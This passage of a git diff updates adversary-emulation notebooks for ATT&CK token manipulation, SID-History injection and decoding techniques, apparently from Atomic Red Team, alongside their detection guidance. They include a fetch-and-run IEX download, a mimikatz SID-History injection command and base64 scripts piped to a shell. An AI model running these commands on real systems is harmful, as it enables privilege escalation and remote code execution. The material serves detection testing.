\"calculator\" -ErrorAction Ignore\nStop-Process -Name \"iexplore\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "34ffaf8f", + "id": "5663004e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "2796bcee", + "id": "4207e249", "metadata": {}, "source": "### Atomic Test #2 - Parent PID Spoofing - Spawn from Current Process\nSpawns a powershell.exe process as a child of the current process.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "26527642", + "id": "de753bfc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fbc73559", + "id": "31377bc6", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "69535729", + "id": "c44ddc81", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "bf09ca6b", + "id": "af7a533b", "metadata": {}, "source": "### Atomic Test #3 - Parent PID Spoofing - Spawn from Specified Process\nSpawns a notepad.exe process as a child of the current process.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "11f48c3c", + "id": "e32f6e41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f73bd7c2", + "id": "de9b4a97", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -114,28 +114,28 @@ { "cell_type": "code", "execution_count": null, - "id": "44b61972", + "id": "6b1addde", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "21b219fe", + "id": "d9484281", "metadata": {}, "source": "### Atomic Test #4 - Parent PID Spoofing - Spawn from svchost.exe\nSpawnd a process as a child of the first accessible svchost.exe process.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f3ad5248", + "id": "0d352045", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5c038fee", + "id": "7156b46d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -145,28 +145,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a3ae3402", + "id": "e14281c1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "11e75646", + "id": "7ba1ce5e", "metadata": {}, "source": "### Atomic Test #5 - Parent PID Spoofing - Spawn from New Process\nCreates a notepad.exe process and then spawns a powershell.exe process as a child of it.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "76991310", + "id": "24a6b6d1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "a2ec6ff7", + "id": "28e389a3", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -176,14 +176,14 @@ { "cell_type": "code", "execution_count": null, - "id": "4378f72b", + "id": "93c5763e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "18ef2572", + "id": "374bea44", "metadata": {}, "source": "## Detection\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible." } @@ -191,13 +191,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1134.005.ipynb b/playbook/tactics/defense-evasion/T1134.005.ipynb index 0ca568b9..e04fa3f5 100644 --- a/playbook/tactics/defense-evasion/T1134.005.ipynb +++ b/playbook/tactics/defense-evasion/T1134.005.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "00c9e288", + "id": "eb0ee08a", "metadata": {}, "source": "# T1134.005 - SID-History Injection\nAdversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006)." }, { "cell_type": "markdown", - "id": "8b921d89", + "id": "72af6af3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7db27ecc", + "id": "7b2ea1c6", "metadata": {}, - "source": "### Atomic Test #1 - Injection SID-History with mimikatz\nAdversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" + "source": "### Atomic Test #1 - Injection SID-History with mimikatz\nAdversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4f194532", + "id": "a97c5b44", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.005 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f869f8f3", + "id": "7b936091", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n$env:TEMP\\mimikatz\\x64\\mimikatz.exe \"privilege::debug\" \"sid::patch\" \"sid::add /sid:S-1-5-21-1004336348-1177238915-682003330-1134 /sam:$env:username\" \"exit\"\n```" + "```command_prompt\nPathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe \"privilege::debug\" \"sid::patch\" \"sid::add /sid:S-1-5-21-1004336348-1177238915-682003330-1134 /sam:$env:username\" \"exit\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "95edc5ff", + "id": "fe0894b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8bc2415c", + "id": "783d1d57", "metadata": {}, - "source": "#### Cleanup: \n```cmd\n$env:TEMP\\mimikatz\\x64\\mimikatz.exe \"sid::clear /sam:$env:username\" \"exit\"\n```" + "source": "#### Cleanup: \n```cmd\nPathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe \"sid::clear /sam:$env:username\" \"exit\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cf0635a5", + "id": "85f76928", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d1b8850f", + "id": "324642c1", "metadata": {}, "source": "## Detection\nExamine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1134.ipynb b/playbook/tactics/defense-evasion/T1134.ipynb index 1a9e0629..31b78f66 100644 --- a/playbook/tactics/defense-evasion/T1134.ipynb +++ b/playbook/tactics/defense-evasion/T1134.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "6c6f85e2", + "id": "09bf7315", "metadata": {}, "source": "# T1134 - Access Token Manipulation\nAdversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens." }, { "cell_type": "markdown", - "id": "493dd8e3", + "id": "a0807189", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "78e58b26", + "id": "c46f1a7f", "metadata": {}, "source": "## Detection\nIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process." }, { "cell_type": "markdown", - "id": "e74bb7f0", + "id": "76ce14ee", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender could feed or redirect requests for credentials with false data that can be used to direct an adversary into a decoy network or system.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1140.ipynb b/playbook/tactics/defense-evasion/T1140.ipynb index aa9b4348..5a82b8bf 100644 --- a/playbook/tactics/defense-evasion/T1140.ipynb +++ b/playbook/tactics/defense-evasion/T1140.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "57d8d50b", + "id": "c74c8cb5", "metadata": {}, - "source": "# T1140 - Deobfuscate/Decode Files or Information\nAdversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)" + "source": "# T1140 - Deobfuscate/Decode Files or Information\nAdversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)" }, { "cell_type": "markdown", - "id": "bd2a3b0d", + "id": "5a7cc18e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7f46d39c", + "id": "2f578e92", "metadata": {}, "source": [ "### Atomic Test #1 - Deobfuscate/Decode Files Or Information", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5702d3bf", + "id": "96b6085a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "bed477b8", + "id": "a65c9e01", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\T1140_calc.txt >nul 2>&1\ndel %temp%\\T1140_calc_decoded.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e1852c8e", + "id": "838b7c04", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "0e22b507", + "id": "0819ab74", "metadata": {}, "source": [ "### Atomic Test #2 - Certutil Rename and Decode", @@ -61,42 +61,42 @@ { "cell_type": "code", "execution_count": null, - "id": "6a43ca59", + "id": "e692f67d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4d27b30d", + "id": "f5671296", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\tcm.tmp >nul 2>&1\ndel %temp%\\T1140_calc2.txt >nul 2>&1\ndel %temp%\\T1140_calc2_decoded.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b991a69a", + "id": "9e1090d4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "bca90bb2", + "id": "87df9113", "metadata": {}, "source": "### Atomic Test #3 - Base64 decoding with Python\nUse Python to decode a base64-encoded text string and echo it to the console\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Python must be present\n\n##### Check Prereq Commands:\n```sh\nwhich python3\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please install Python 3\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b07219bf", + "id": "1b99472f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "df5bd2b0", + "id": "4e95348e", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -106,28 +106,28 @@ { "cell_type": "code", "execution_count": null, - "id": "61709e3c", + "id": "feaea57c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "30c64b8a", + "id": "637e2153", "metadata": {}, - "source": "### Atomic Test #4 - Base64 decoding with Perl\nUse Perl to decode a base64-encoded text string and echo it to the console\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Perl must be present\n\n##### Check Prereq Commands:\n```sh\nwhich perl\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please install Perl\"\n\n```" + "source": "### Atomic Test #4 - Base64 decoding with Perl\nUse Perl to decode a base64-encoded text string and echo it to the console \n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Perl must be present\n\n##### Check Prereq Commands:\n```sh\nwhich perl\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please install Perl\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a6e5e37b", + "id": "bce1f0d7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1f9b2e41", + "id": "aa1cb1fd", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -137,14 +137,14 @@ { "cell_type": "code", "execution_count": null, - "id": "75a2e4c6", + "id": "3341a8c7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "e69cb21c", + "id": "66bac0e9", "metadata": {}, "source": [ "### Atomic Test #5 - Base64 decoding with shell utilities", @@ -158,28 +158,80 @@ { "cell_type": "code", "execution_count": null, - "id": "abfc246e", + "id": "c2bf7ba2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1140 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0e7c5808", + "id": "ea3b836a", "metadata": {}, - "source": "### Atomic Test #6 - Hex decoding with shell utilities\nUse common shell utilities to decode a hex-encoded text string and echo it to the console\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: xxd must be present\n\n##### Check Prereq Commands:\n```sh\nwhich xxd\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please install xxd\"\n\n```" + "source": [ + "### Atomic Test #6 - Base64 decoding with shell utilities (freebsd)", + "Use common shell utilities to decode a base64-encoded text string and echo it to the console\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nENCODED=$(echo 'Hello from Atomic Red Team test T1140!' | b64encode -r -)\nprintf $ENCODED | b64decode -r\necho $ENCODED | b64decode -r\necho $(echo $ENCODED) | b64decode -r\necho $ENCODED > /tmp/T1140.encoded && b64encode -r /tmp/T1140.encoded\necho $ENCODED > /tmp/T1140.encoded && b64decode -r < /tmp/T1140.encoded\necho $ENCODED > /tmp/T1140.encoded && cat /tmp/T1140.encoded | b64decode -r\necho $ENCODED > /tmp/T1140.encoded && cat < /tmp/T1140.encoded | b64decode -r\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9ca80b00", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1140 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "e393bb58", + "metadata": {}, + "source": "### Atomic Test #7 - FreeBSD b64encode Shebang in CLI\nUsing b64decode shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: b64decode must be present\n\n##### Check Prereq Commands:\n```sh\nwhich b64decode\n\n```\n##### Get Prereq Commands:\n```sh\necho \"please install b64decode\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9900c252", + "id": "4a190d5f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1140 -TestNumbers 6 -GetPreReqs" + "source": "Invoke-AtomicTest T1140 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "27d4f01f", + "id": "1a084c83", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\necho IyEvYmluL2Jhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= | b64decode -r | sh\necho IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= | b64decode -r | sh\necho IyEvYmluL2Rhc2gKZWNobyAiaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGF0b21pY3NvbmFmcmlkYXkgRlRXIgo= | b64decode -r | sh\necho IyEvYmluL3NoCmVjaG8gImh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0BhdG9taWNzb25hZnJpZGF5IEZUVyIK | b64decode -r | sh\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "38a9c789", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1140 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "c7a33356", + "metadata": {}, + "source": "### Atomic Test #8 - Hex decoding with shell utilities\nUse common shell utilities to decode a hex-encoded text string and echo it to the console\n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: xxd must be present\n\n##### Check Prereq Commands:\n```sh\nwhich xxd\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please install xxd\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6cbd84e7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1140 -TestNumbers 8 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "08745e54", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -189,20 +241,82 @@ { "cell_type": "code", "execution_count": null, - "id": "58a6da47", + "id": "7e32a3af", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1140 -TestNumbers 6" + "source": "Invoke-AtomicTest T1140 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "ec18e23c", + "metadata": {}, + "source": "### Atomic Test #9 - Linux Base64 Encoded Shebang in CLI\nUsing Linux Base64 Encoded shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it. \n\n**Supported Platforms:** linux, macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: base64 must be present\n\n##### Check Prereq Commands:\n```sh\nwhich base64\n\n```\n##### Get Prereq Commands:\n```sh\necho \"please install base64\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "afcf5d94", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1140 -TestNumbers 9 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "a6874a4c", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\necho 